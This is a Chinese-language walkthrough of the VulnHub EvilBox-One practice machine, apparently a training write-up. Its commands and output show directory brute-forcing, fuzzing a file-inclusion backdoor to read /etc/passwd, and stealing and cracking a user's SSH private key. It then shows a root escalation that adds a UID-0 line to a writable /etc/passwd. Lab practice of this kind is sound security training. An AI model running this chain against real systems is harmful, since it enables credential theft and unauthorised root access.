靶机练习NO.25 EvilBox 递归目录枚举出后门 猜测后门为文件包含 wfuzz出参数，包含.ssh/id_rsa私钥 john破解ssh私钥/etc/passwd有写入权限提权openssl

0x00 靶机介绍

• 下载地址

  https://www.vulnhub.com/entry/evilbox-one,736/
  

• 环境配置
  Virtualbox 启动 usb设备1.0 网卡与kali同网卡

0x01 信息收集

步骤一：ip探测

步骤二：端口服务识别

oot@kali:~/baji/vulnhub/EvilBOx# nmap -sC -sV -A -p- 192.168.56.116 -o port.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-07 14:28 CST
Nmap scan report for 192.168.56.116
Host is up (0.00044s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA)
|   256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA)
|_  256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:7D:E3:62 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.3
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.56.116

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.73 seconds

开放 22 80 端口
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http Apache httpd 2.4.38 ((Debian))

默认 apache配置页面 可以目录爆破

步骤三：目录爆破

[14:30:04] 200 - 12B - /robots.txt
[14:30:04] 200 - 4B - /secret/
[14:30:05] 301 - 317B - /secret -> http://192.168.56.116/secret/

可以在枚举 secret目录

python3 dirsearch.py   -u "http://192.168.56.116/secret" -e "*"

0x02 漏洞挖掘

步骤一：查看/secret/evil.php 页面

没有数据
evil 为邪恶的 有毒的 大概就是后门的意思
所以 可能是 代码执行 命令执行 文件包含 等后门
wfuzz 枚举

步骤二：wfuzz枚举后门参数

猜测为文件包含后门（成功）

wfuzz FUZZ为要fuzz的参数 后边直接加上/etc/passwd
grep -v 排除 0 Ch 的内容

wfuzz -c -w /root/zidian/fuzzDicts-master/paramDict/php.txt -u http://192.168.56.116/secret/evil.php?FUZZ=/etc/passwd | grep -v "0 Ch"

步骤三：查看/etc/passwd文件

存在mowree 可以登录
想办法登录进去
去看看有没有 ssh公钥

步骤四：查看.ssh/id_rsa私钥文件

步骤五：利用私钥登录

（1）直接登录 发现需要密码

chmod  600 ./id_rsa
ssh mowree@192.168.56.116 -i ./id_rsa

需要爆破私钥登录的密码

（2） 将私钥保存到本地

curl wget http://192.168.7.100/secret/evil.php?command=/home/mowree/.ssh/id_rsa >> id_rsa

（3）用 ssh2john 将id_rsa秘钥信息转换为john可以识别的信息

python3 /usr/share/john/ssh2john.py id_rsa >crack.txt

（4）john爆破

获取到一个unicorn 密码

（4）ssh私钥登录（成功）

ssh mowree@192.168.56.116 -i ./id_rsa
unicorn

拿到第一个flag

56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

0x03 提权

步骤一 ：找可利用点（passwd有写入权限）

翻文件发现 ls -al /etc/passwd 有写入权限

直接写入 root权限的用户即可

步骤二：openssl 生成密码

mowree@EvilBoxOne:~$ openssl passwd -1 123456
$1$Nu2rm2O8$GpQ5CebG16r7RbLNmFQdO/

步骤三：将生成的密码拼接到root中

mowree@EvilBoxOne:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

可以将 root 任意改一个名字 比如 kaifa
x 改为生成的密码

即为

kaifa:$1$Nu2rm2O8$GpQ5CebG16r7RbLNmFQdO/:0:0:root:/root:/bin/bash

步骤三：写入到/etc/passwd文件中

vi /etc/passwd  写入
cat /etc/passwd  查看是否写入成功

步骤四：su切换kaifa账户

su kaifa
123456
切换root权限成功

0x04 总结

本次靶机通过
1.目录枚举 （注意需要收集字典） 出目录再枚举 出一个后门文件evil.php

2.通过猜测后门类型 +wfuzz wfuzz出参数 command

3.只有文件包含 想要getshell

1. 配合文件上传
2. 远程文件包含getshell
3. 想思路比如（看看有什么账号，该账号有没有ssh私钥 .ssh/id_rsa）
去包含一下看看 有的话 下载到本地 可以用私钥登录，有密码的话 爆破私钥登录密码。

4. 登录后 提权 内核漏洞 失败， suid 没找到 sudo 也没有
   翻翻文件 发现 /etc/passwd 任意用户组都有可以写入权限
   openssl生成密码 写入一个root用户权限的账号 直接su 账号 获取root权限